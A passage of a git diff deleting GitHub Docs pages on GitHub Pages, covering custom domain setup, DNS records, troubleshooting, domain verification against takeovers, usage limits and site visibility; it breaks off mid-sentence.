b/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md deleted file mode 100644 index 382dee63575a..000000000000 --- a/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Configuring a custom domain for your GitHub Pages site -intro: 'You can customize the domain name of your {% data variables.product.prodname_pages %} site.' -redirect_from: - - /articles/tips-for-configuring-an-a-record-with-your-dns-provider - - /articles/adding-or-removing-a-custom-domain-for-your-github-pages-site - - /articles/configuring-an-a-record-with-your-dns-provider - - /articles/using-a-custom-domain-with-github-pages - - /articles/tips-for-configuring-a-cname-record - - /articles/setting-up-a-custom-domain-with-pages - - /articles/setting-up-a-custom-domain-with-github-pages - - /articles/configuring-a-custom-domain-for-your-github-pages-site - - /github/working-with-github-pages/configuring-a-custom-domain-for-your-github-pages-site -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghec: '*' -topics: - - Pages -children: - - /about-custom-domains-and-github-pages - - /managing-a-custom-domain-for-your-github-pages-site - - /verifying-your-custom-domain-for-github-pages - - /troubleshooting-custom-domains-and-github-pages -shortTitle: Configure a custom domain ---- - diff --git a/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md b/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md deleted file mode 100644 index 8a2eb097dd4f..000000000000 --- a/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md +++ /dev/null @@ -1,174 +0,0 @@ ---- -title: Managing a custom domain for your GitHub Pages site -intro: 'You can set up or update certain DNS records and your repository settings to point the default domain for your {% data variables.product.prodname_pages %} site to a custom domain.' -redirect_from: - - /articles/quick-start-setting-up-a-custom-domain - - /articles/setting-up-an-apex-domain - - /articles/setting-up-a-www-subdomain - - /articles/setting-up-a-custom-domain - - /articles/setting-up-an-apex-domain-and-www-subdomain - - /articles/adding-a-cname-file-to-your-repository - - /articles/setting-up-your-pages-site-repository - - /articles/managing-a-custom-domain-for-your-github-pages-site - - /github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghec: '*' -topics: - - Pages -shortTitle: Manage a custom domain ---- - -People with admin permissions for a repository can configure a custom domain for a {% data variables.product.prodname_pages %} site. - -## About custom domain configuration - -{% data reusables.pages.custom-domain-warning %} - -Make sure you add your custom domain to your {% data variables.product.prodname_pages %} site before configuring your custom domain with your DNS provider. Configuring your custom domain with your DNS provider without adding your custom domain to {% data variables.product.github %} could result in someone else being able to host a site on one of your subdomains. - -{% windows %} - -The `dig` command, which can be used to verify correct configuration of DNS records, is not included in Windows. To verify that your DNS records are configured correctly, you can use the `Resolve-DnsName` PowerShell command or install [BIND](https://www.isc.org/bind/). - -{% endwindows %} - -> [!NOTE] -> DNS changes can take up to 24 hours to propagate. - -## Configuring an apex domain - -To set up an apex domain, such as `example.com`, you must configure a custom domain in your repository settings and at least one `ALIAS`, `ANAME`, or `A` record with your DNS provider. - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -1. Under "Custom domain", type your custom domain, then click **Save**. If you are publishing your site from a branch, this will create a commit that adds a `CNAME` file directly to the root of your source branch. If you are publishing from a custom {% data variables.product.prodname_actions %} workflow, no `CNAME` file is created, and any existing `CNAME` file is ignored and is not required. For more information about your publishing source, see [AUTOTITLE](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). -1. Navigate to your DNS provider and create either an `ALIAS`, `ANAME`, or `A` record. You can also create `AAAA` records for IPv6 support. If you're implementing IPv6 support, we highly recommend using an `A` record in addition to your `AAAA` record, due to slow adoption of IPv6 globally. {% data reusables.pages.contact-dns-provider %} - * To create an `ALIAS` or `ANAME` record, point your apex domain to the default domain for your site. {% data reusables.pages.default-domain-information %} - * To create `A` records, point your apex domain to the IP addresses for {% data variables.product.prodname_pages %}. - - ```shell - 185.199.108.153 - 185.199.109.153 - 185.199.110.153 - 185.199.111.153 - ``` - - * To create `AAAA` records, point your apex domain to the IP addresses for {% data variables.product.prodname_pages %}. - - ```shell - 2606:50c0:8000::153 - 2606:50c0:8001::153 - 2606:50c0:8002::153 - 2606:50c0:8003::153 - ``` - -> [!NOTE] -> If your DNS provider automatically sets a default record, remove it before continuing. - -{% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %} -{% data reusables.command_line.open_the_multi_os_terminal %} -1. To confirm that your DNS record configured correctly, use the `dig` command, replacing _EXAMPLE.COM_ with your apex domain. Confirm that the results match the IP addresses for {% data variables.product.prodname_pages %} above. - * For `A` records: - - ```shell - $ dig EXAMPLE.COM +noall +answer -t A - > EXAMPLE.COM 3600 IN A 185.199.108.153 - > EXAMPLE.COM 3600 IN A 185.199.109.153 - > EXAMPLE.COM 3600 IN A 185.199.110.153 - > EXAMPLE.COM 3600 IN A 185.199.111.153 - ``` - - * For `AAAA` records: - - ```shell - $ dig EXAMPLE.COM +noall +answer -t AAAA - > EXAMPLE.COM 3600 IN AAAA 2606:50c0:8000::153 - > EXAMPLE.COM 3600 IN AAAA 2606:50c0:8001::153 - > EXAMPLE.COM 3600 IN AAAA 2606:50c0:8002::153 - > EXAMPLE.COM 3600 IN AAAA 2606:50c0:8003::153 - ``` - -{% data reusables.pages.build-locally-download-cname %} -{% data reusables.pages.enforce-https-custom-domain %} - -### Configuring an apex domain and the `www` subdomain variant - -> [!NOTE] -> Setting up a `www` subdomain alongside an apex domain is recommended for HTTPS secured websites. - -{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see [Configuring a subdomain](#configuring-a-subdomain). - -Navigate to your DNS provider and create a `CNAME` record for the `www` subdomain that points to your {% data variables.product.prodname_pages %} default domain. For example, if your site is located at `.github.io`, you should create a `CNAME` record that points `www.example.com` to `.github.io` Similarly, for an organization site located at `.github.io`, you should create a `CNAME` record that points `www.example.com` to `.github.io`. Ensure that the `CNAME` record points directly to `.github.io` or `.github.io` without including the repository name. - -{% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %} - -## Configuring a subdomain - -To set up a `www` or custom subdomain, such as `www.example.com` or `blog.example.com`, you must add your domain in the repository settings. After that, configure a CNAME record with your DNS provider. - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -1. Under "Custom domain", type your custom domain, then click **Save**. If you are publishing your site from a branch, this will create a commit that adds a `CNAME` file directly to the root of your source branch. If you are publishing from a custom {% data variables.product.prodname_actions %} workflow, no `CNAME` file is created, and any existing `CNAME` file is ignored and is not required. For more information about your publishing source, see [AUTOTITLE](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). - - > [!NOTE] - > If your custom domain is an internationalized domain name, you must enter the Punycode encoded version. - > - > For more information on Punycodes, see [Internationalized domain name](https://en.wikipedia.org/wiki/Internationalized_domain_name). - -1. Navigate to your DNS provider and create a `CNAME` record that points your subdomain to the default domain for your site. For example, if you want to use the subdomain `www.example.com` for your user site, create a `CNAME` record that points `www.example.com` to `.github.io`. If you want to use the subdomain `another.example.com` for your organization site, create a `CNAME` record that points `another.example.com` to `.github.io`. The `CNAME` record should always point to `.github.io` or `.github.io`, excluding the repository name. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %} - -{% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %} -{% data reusables.command_line.open_the_multi_os_terminal %} -1. To confirm that your DNS record configured correctly, use the `dig` command, replacing _WWW.EXAMPLE.COM_ with your subdomain. - - ```shell - $ dig WWW.EXAMPLE.COM +nostats +nocomments +nocmd - > ;WWW.EXAMPLE.COM. IN A - > WWW.EXAMPLE.COM. 3592 IN CNAME YOUR-USERNAME.github.io. - > YOUR-USERNAME.github.io. 43192 IN CNAME GITHUB-PAGES-SERVER . - > GITHUB-PAGES-SERVER . 22 IN A 192.0.2.1 - ``` - -{% data reusables.pages.build-locally-download-cname %} -{% data reusables.pages.enforce-https-custom-domain %} - - > [!NOTE] - > If you point your custom subdomain to your apex domain, you will encounter issues with enforcing HTTPS to your website, and you may encounter issues where your subdomain does not reach your {% data variables.product.prodname_pages %} site at all. - -## DNS records for your custom domain - -If you are familiar with the process of configuring your domain for a {% data variables.product.prodname_pages %} site, you can use the table below to find the DNS values for your specific scenario and the DNS record types that your DNS provider supports. For more information, including how to configure your {% data variables.product.prodname_pages %} site on {% data variables.product.github %} and how to verify the configuration using the `dig` command, refer to the sections above. - -To configure an apex domain, you only need to pick a single DNS record type from the table below. To configure an apex domain and `www` subdomain (for example, `example.com` and `www.example.com`), configure the apex domain and then the subdomain. For more information, see [Configuring an apex domain and the `www` subdomain variant](#configuring-an-apex-domain-and-the-www-subdomain-variant). - -{% data reusables.pages.wildcard-dns-warning %} - -| Scenario | DNS record type | DNS record name | DNS record value(s) | -|---|---|---|---| -| Apex domain
(`example.com`) | `A` | `@` | `185.199.108.153`
`185.199.109.153`
`185.199.110.153`
`185.199.111.153` | -| Apex domain
(`example.com`) | `AAAA` | `@` | `2606:50c0:8000::153`
`2606:50c0:8001::153`
`2606:50c0:8002::153`
`2606:50c0:8003::153` | -| Apex domain
(`example.com`) | `ALIAS` or `ANAME` | `@` | `USERNAME.github.io` or
`ORGANIZATION.github.io` | -| Subdomain
(`ww​w.example.com`,
`blog.example.com`) | `CNAME` | `SUBDOMAIN.example.com.` | `USERNAME.github.io` or
`ORGANIZATION.github.io` | - -## Removing a custom domain - -If you get an error about a custom domain being taken, you may need to remove the custom domain from another repository. - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -1. Under "Custom domain," click **Remove**. - - ![Screenshot of a custom domain. To the right of a text box reading "example.com", and a "Save" button, is a button labeled "Remove" in red type.](/assets/images/help/pages/remove-custom-domain.png) - -## Securing your custom domain - -{% data reusables.pages.secure-your-domain %} For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages). - -## Further reading - -* [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages) diff --git a/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md b/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md deleted file mode 100644 index 566c69dd3a2d..000000000000 --- a/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Troubleshooting custom domains and GitHub Pages -intro: 'You can check for common errors to resolve issues with custom domains or HTTPS for your {% data variables.product.prodname_pages %} site.' -redirect_from: - - /articles/my-custom-domain-isn-t-working - - /articles/custom-domain-isn-t-working - - /articles/troubleshooting-custom-domains - - /articles/troubleshooting-custom-domains-and-github-pages - - /github/working-with-github-pages/troubleshooting-custom-domains-and-github-pages -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghec: '*' -topics: - - Pages -shortTitle: Troubleshoot a custom domain ---- - -## CNAME errors - -If you are publishing from a custom {% data variables.product.prodname_actions %} workflow, any CNAME file is ignored and is not required. - -If you are publishing from a branch, custom domains are stored in a CNAME file in the root of your publishing source. You can add or update this file through your repository settings or manually. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site). - -For your site to render at the correct domain, make sure your CNAME file still exists in the repository. For example, many static site generators force push to your repository, which can overwrite the CNAME file that was added to your repository when you configured your custom domain. If you build your site locally and push generated files to {% data variables.product.github %}, make sure to pull the commit that added the CNAME file to your local repository first, so the file will be included in the build. - -Then, make sure the CNAME file is formatted correctly. - -* The CNAME filename must be all uppercase. -* The CNAME file can contain only one domain. To point multiple domains to your site, you must set up a redirect through your DNS provider. -* The CNAME file must contain the domain name only. For example, `www.example.com`, `blog.example.com`, or `example.com`. -* The domain name must be unique across all {% data variables.product.prodname_pages %} sites. For example, if another repository's CNAME file contains `example.com`, you cannot use `example.com` in the CNAME file for your repository. - -## DNS misconfiguration - -If you have trouble pointing the default domain for your site to your custom domain, contact your DNS provider. - -You can also use one of the following methods to test whether your custom domain's DNS records are configured correctly: - -* A CLI tool such as `dig`. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site). -* An online DNS lookup tool. - -## Custom domain names that are unsupported - -If your custom domain is unsupported, you may need to change your domain to a supported domain. You can also contact your DNS provider to see if they offer forwarding services for domain names. - -Make sure your site does not: -* Use more than one apex domain. For example, both `example.com` and `anotherexample.com`. -* Use more than one `www` subdomain. For example, both `www.example.com` and `www.anotherexample.com`. -* Use both an apex domain and custom subdomain. For example, both `example.com` and `docs.example.com`. - - The one exception is the `www` subdomain. If configured correctly, the `www` subdomain is automatically redirected to the apex domain. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain). - -{% data reusables.pages.wildcard-dns-warning %} - -For a list of supported custom domains, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages#supported-custom-domains). - -## HTTPS errors - -{% data variables.product.prodname_pages %} sites using custom domains that are correctly configured with `CNAME`, `ALIAS`, `ANAME`, or `A` DNS records can be accessed over HTTPS. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https). - -It can take up to an hour for your site to become available over HTTPS after you configure your custom domain. After you update existing DNS settings, you may need to remove and re-add your custom domain to your site's repository to trigger the process of enabling HTTPS. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site). - -If you're using Certification Authority Authorization (CAA) records, at least one CAA record must exist with the value `letsencrypt.org` for your site to be accessible over HTTPS. For more information, see [Certificate Authority Authorization (CAA)](https://letsencrypt.org/docs/caa/) in the Let's Encrypt documentation. - -## URL formatting on Linux - -If the URL for your site contains a username or organization name that begins or ends with a dash, or contains consecutive dashes, people browsing with Linux will receive a server error when they attempt to visit your site. To fix this, change your {% data variables.product.github %} username to remove non-alphanumeric characters. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username). - -## Browser cache - -If you've recently changed or removed your custom domain and can't access the new URL in your browser, you may need to clear your browser's cache to reach the new URL. For more information on clearing your cache, see your browser's documentation. - -## Domain name taken - -If you're trying to use a custom domain and it says the domain is already in use, you can make the domain available for your own use by verifying it first. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages). diff --git a/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md b/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md deleted file mode 100644 index 77a30a1d832f..000000000000 --- a/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Verifying your custom domain for GitHub Pages -intro: You can increase the security of your custom domain and avoid takeover attacks by verifying your domain. -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghec: '*' -topics: - - Pages -shortTitle: Verify a custom domain ---- - -## About domain verification for GitHub Pages - -When you verify a custom domain for your personal account, only repositories owned by your personal account may be used to publish a {% data variables.product.prodname_pages %} site to the verified custom domain or the domain's immediate subdomains. Similarly, when you verify a custom domain for your organization, only repositories owned by that organization may be used to publish a {% data variables.product.prodname_pages %} site to the verified custom domain or the domain's immediate subdomains. - -Verifying your domain stops other GitHub users from taking over your custom domain and using it to publish their own {% data variables.product.prodname_pages %} site. Domain takeovers can happen when you delete your repository, when your billing plan is downgraded, or after any other change which unlinks the custom domain or disables {% data variables.product.prodname_pages %} while the domain remains configured for {% data variables.product.prodname_pages %} and is not verified. - -When you verify a domain, any immediate subdomains are also included in the verification. For example, if the `github.com` custom domain is verified, `docs.github.com`, `support.github.com`, and any other immediate subdomains will also be protected from takeovers. - -{% data reusables.pages.wildcard-dns-warning %} - -It's also possible to verify a domain for your organization{% ifversion ghec %} or enterprise{% endif %}, which displays a "Verified" badge on the organization {% ifversion ghec %}or enterprise{% endif %} profile{% ifversion ghec %} and, on {% data variables.product.prodname_ghe_cloud %}, allows you to restrict notifications to email addresses using the verified domain{% endif %}. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization){% ifversion ghec %} and [AUTOTITLE](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise){% endif %}. - -### Verifying a domain that is already taken - -You may be verifying a domain you own, which is currently in use by another user or organization, to make it available for your {% data variables.product.prodname_pages %} website. In this case, the domain will be immediately released from {% data variables.product.prodname_pages %} websites which are owned by other users or organizations. If you are attempting to verify an already verified domain (verified by another user or organization), the release process will not be successful. - -## Verifying a domain for your user site - -{% data reusables.user-settings.access_settings %} -1. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "browser" aria-hidden="true" %} Pages**. -{% data reusables.pages.settings-verify-domain-setup %} -1. Wait for your DNS configuration to change, this may be immediate or take up to 24 hours. You can confirm the change to your DNS configuration by running the `dig` command on the command line. In the command below, replace `USERNAME` with your username and `example.com` with the domain you're verifying. If your DNS configuration has updated, you should see your new TXT record in the output. - - ```text - dig _github-pages-challenge-USERNAME.example.com +nostats +nocomments +nocmd TXT - ``` - -{% data reusables.pages.settings-verify-domain-confirm %} - -## Verifying a domain for your organization site - -Organization owners can verify custom domains for their organization. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "browser" aria-hidden="true" %} Pages**. -{% data reusables.pages.settings-verify-domain-setup %} -1. Wait for your DNS configuration to change. This may be immediate or take up to 24 hours. You can confirm the change to your DNS configuration by running the `dig` command on the command line. In the command below, replace `ORGANIZATION` with the name of your organization and `example.com` with the domain you're verifying. If your DNS configuration has updated, you should see your new TXT record in the output. - - ```text - dig _github-pages-challenge-ORGANIZATION.example.com +nostats +nocomments +nocmd TXT - ``` - -{% data reusables.pages.settings-verify-domain-confirm %} diff --git a/content/pages/getting-started-with-github-pages/about-github-pages.md b/content/pages/getting-started-with-github-pages/about-github-pages.md deleted file mode 100644 index 3190278eda25..000000000000 --- a/content/pages/getting-started-with-github-pages/about-github-pages.md +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: About GitHub Pages -intro: 'You can use {% data variables.product.prodname_pages %} to host a website about yourself, your organization, or your project directly from a repository on {% data variables.product.prodname_dotcom %}.' -redirect_from: - - /articles/what-are-github-pages - - /articles/what-is-github-pages - - /articles/user-organization-and-project-pages - - /articles/using-a-static-site-generator-other-than-jekyll - - /articles/mime-types-on-github-pages - - /articles/should-i-rename-usernamegithubcom-repositories-to-usernamegithubio - - /articles/about-github-pages - - /github/working-with-github-pages/about-github-pages - - /early-access/github/articles/managing-your-disabled-github-pages-site -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages ---- - -## About {% data variables.product.prodname_pages %} - -{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository on {% data variables.product.github %}, optionally runs the files through a build process, and publishes a website. You can see examples of {% data variables.product.prodname_pages %} sites in the [{% data variables.product.prodname_pages %} examples collection](https://github.com/collections/github-pages-examples). - -{% ifversion fpt or ghec %} -You can host your site on {% data variables.product.prodname_dotcom %}'s `github.io` domain or your own custom domain. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site). -{% endif %} - -{% ifversion fpt or ghec %} -{% data reusables.pages.about-private-publishing %} For more information, see [Changing the visibility of your {% data variables.product.prodname_pages %} site]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} -{% endif %} - -To get started, see [AUTOTITLE](/pages/getting-started-with-github-pages/creating-a-github-pages-site). - -Organization owners can disable the publication of {% data variables.product.prodname_pages %} sites from the organization's repositories. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization). - -## Types of {% data variables.product.prodname_pages %} sites - -There are three types of {% data variables.product.prodname_pages %} sites: project, user, and organization. Project sites are connected to a specific project hosted on {% data variables.product.github %}, such as a JavaScript library or a recipe collection. User and organization sites are connected to a specific account on {% data variables.location.product_location %}. - -* User sites are hosted in a repository owned by your personal account, named {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %}. -* Organization sites are hosted in a repository owned by an organization, named {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %}. - -{% ifversion fpt or ghec %}Unless you're using a custom domain, user and organization sites are available at `http(s)://.github.io` or `http(s)://.github.io`.{% endif %} - -{% data reusables.pages.twenty-minutes-to-publish %} - -The source files for a project site are stored in the same repository as their project. {% ifversion fpt or ghec %}Unless you're using a custom domain, project sites are available at `http(s)://.github.io/` or `http(s)://.github.io/`.{% endif %} - -{% ifversion ghec %} -If you publish your site privately, the URL for your site will be different. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site). -{% endif %} - -{% ifversion fpt or ghec %} -For more information about how custom domains affect the URL for your site, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages#using-a-custom-domain-across-multiple-repositories). -{% endif %} - -You can only create one user or organization site for each account on {% data variables.product.github %}. Project sites, whether owned by an organization or a personal account, are unlimited. - -{% ifversion ghes %} -The URL where your site is available depends on whether subdomain isolation is enabled for {% data variables.location.product_location %}. - -| Type of site | Subdomain isolation enabled | Subdomain isolation disabled | -| ------------ | --------------------------- | ---------------------------- | -User | `http(s)://pages./` | `http(s):///pages/` | -Organization | `http(s)://pages./` | `http(s):///pages/` | -Project site owned by personal account | `http(s)://pages.///` | `http(s):///pages///` -Project site owned by organization account | `http(s)://pages.///` | `http(s):///pages///` - -For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation) or contact your site administrator. -{% endif %} - -## Publishing sources for {% data variables.product.prodname_pages %} sites - -{% data reusables.pages.private_pages_are_public_warning %} - -{% data reusables.pages.pages-about-publishing-source %} - -For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). - -{% ifversion ghec %} - -## Limitations for {% data variables.product.prodname_emus %} - -If you're a {% data variables.enterprise.prodname_managed_user %}, your use of {% data variables.product.prodname_pages %} is limited. - -* {% data variables.product.prodname_pages %} sites can only be published from repositories owned by organizations. -* {% data variables.product.prodname_pages %} sites are always privately published, and you cannot change this visibility. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site). -* You cannot create an organization site (a site published from a repository named `.github.io`) - -For more information about {% data variables.product.prodname_emus %}, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). -{% endif %} - -## Static site generators - -{% data variables.product.prodname_pages %} publishes any static files that you push to your repository. You can create your own static files or use a static site generator to build your site for you. You can also customize your own build process locally or on another server. - -If you use a custom build process or a static site generator other than Jekyll, you can write a {% data variables.product.prodname_actions %} to build and publish your site. {% data variables.product.github %} provides workflow templates for several static site generators. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). - -If you publish your site from a source branch, {% data variables.product.prodname_pages %} will use Jekyll to build your site by default. If you want to use a static site generator other than Jekyll, we recommend that you write a {% data variables.product.prodname_actions %} to build and publish your site instead. Otherwise, disable the Jekyll build process by creating an empty file called `.nojekyll` in the root of your publishing source, then follow your static site generator's instructions to build your site locally. - -{% data variables.product.prodname_pages %} does not support server-side languages such as PHP, Ruby, or Python. - -## Limits on use of {% data variables.product.prodname_pages %} - -{% ifversion fpt or ghec %} -{% data variables.product.prodname_pages %} sites created after June 15, 2016, and using `github.io` domains are served over HTTPS. If you created your site before June 15, 2016, you can enable HTTPS support for traffic to your site. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https). - -### Prohibited uses - -{% endif %} -{% data variables.product.prodname_pages %} is not intended for or allowed to be used as a free web-hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS). {% data reusables.pages.no_sensitive_data_pages %} - -In addition, your use of {% data variables.product.prodname_pages %} is subject to the [GitHub Terms of Service](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service), including the restrictions on get-rich-quick schemes, sexually obscene content, and violent or threatening content or activity. - -### Educational exercises - -Using {% data variables.product.prodname_pages %} to create a copy of an existing website as a learning exercise is not prohibited. However, in addition to complying with the [GitHub Terms of Service](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service), you must write the code yourself, the site must not collect any user data, and you must include a prominent disclaimer on the site indicating that the project is not associated with the original and was only created for educational purposes. - -### Usage limits - -{% data variables.product.prodname_pages %} sites are subject to the following usage limits: - -* {% data variables.product.prodname_pages %} source repositories have a recommended limit of 1 GB.{% ifversion fpt or ghec %} For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-large-files-on-github#file-and-repository-size-limitations){% endif %}. -* Published {% data variables.product.prodname_pages %} sites may be no larger than 1 GB. -* {% data variables.product.prodname_pages %} deployments will timeout if they take longer than 10 minutes. -{% ifversion fpt or ghec %} -* {% data variables.product.prodname_pages %} sites have a _soft_ bandwidth limit of 100 GB per month. -* {% data variables.product.prodname_pages %} sites have a _soft_ limit of 10 builds per hour. This limit does not apply if you build and publish your site with a custom {% data variables.product.prodname_actions %} workflow. -* In order to provide consistent quality of service for all {% data variables.product.prodname_pages %} sites, rate limits may apply. These rate limits are not intended to interfere with legitimate uses of {% data variables.product.prodname_pages %}. If your request triggers rate limiting, you will receive an appropriate response with an HTTP status code of `429`, along with an informative HTML body. - -If your site exceeds these usage quotas, we may not be able to serve your site, or you may receive a polite email from {% data variables.contact.github_support %} suggesting strategies for reducing your site's impact on our servers, including putting a third-party content distribution network (CDN) in front of your site, making use of other {% data variables.product.prodname_dotcom %} features such as releases, or moving to a different hosting service that might better fit your needs. - -{% endif %} - -## MIME types on {% data variables.product.prodname_pages %} - -A MIME type is a header that a server sends to a browser, providing information about the nature and format of the files the browser requested. {% data variables.product.prodname_pages %} supports more than 750 MIME types across thousands of file extensions. The list of supported MIME types is generated from the [mime-db project](https://github.com/jshttp/mime-db). - -While you can't specify custom MIME types on a per-file or per-repository basis, you can add or modify MIME types for use on {% data variables.product.prodname_pages %}. For more information, see [the mime-db contributing guidelines](https://github.com/jshttp/mime-db#adding-custom-media-types). - -{% ifversion fpt %} - -## Data collection - -When a {% data variables.product.prodname_pages %} site is visited, the visitor's IP address is logged and stored for security purposes, regardless of whether the visitor has signed into {% data variables.product.prodname_dotcom %} or not. For more information about {% data variables.product.prodname_dotcom %}'s security practices, see [{% data variables.product.prodname_dotcom %} Privacy Statement](/site-policy/privacy-policies/github-privacy-statement). -{% endif %} - -## Further reading - -* [{% data variables.product.prodname_pages %}](https://github.com/skills/github-pages) on {% data variables.product.prodname_learning %} -* [AUTOTITLE](/rest/repos#pages) diff --git a/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md b/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md deleted file mode 100644 index fa9e9774647d..000000000000 --- a/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Changing the visibility of your GitHub Pages site -intro: You can manage access control for your project site by publishing the site publicly or privately. -versions: - ghec: '*' -permissions: 'People with admin access to a repository can change the visibility of a {% data variables.product.prodname_pages %} site.' -redirect_from: - - /github/working-with-github-pages/changing-the-visibility-of-your-github-pages-site -shortTitle: Change visibility of site ---- - -## About access control for {% data variables.product.prodname_pages %} sites - -With access control for {% data variables.product.prodname_pages %}, you can restrict access to your project site by publishing the site privately. A privately published site can only be accessed by people with read access to the repository the site is published from. You can use privately published sites to share your internal documentation or knowledge base with members of your enterprise. - -{% data reusables.pages.privately-publish-ghec-only %} - -If your enterprise uses {% data variables.product.prodname_emus %}, access control is not available, and all {% data variables.product.prodname_pages %} sites are only accessible to other enterprise members. For more information about {% data variables.product.prodname_emus %}, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users). - -If your organization uses {% data variables.product.prodname_ghe_cloud %} without {% data variables.product.prodname_emus %}, you can choose to publish your project sites privately or publicly to anyone on the internet. - -Access control is available for project sites that are published from a private or internal repository that are owned by the organization. You cannot manage access control for an organization site. For more information about the types of {% data variables.product.prodname_pages %} sites, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites). - -## About subdomains for privately published sites - -Privately published sites are available at a different subdomain than publicly published sites. This ensures that your {% data variables.product.prodname_pages %} site is secure from the moment it's published: - -* We automatically secure every subdomain of `*.pages.github.io` with a TLS certificate, and enforce HSTS to ensure that browsers always serve the page over HTTPS. -* We use a unique subdomain for the privately published site to ensure that other repositories in your organization cannot publish content on the same origin as the site. This protects your site from [cookie tossing](https://github.blog/2013-04-09-yummy-cookies-across-domains/). This is also why we 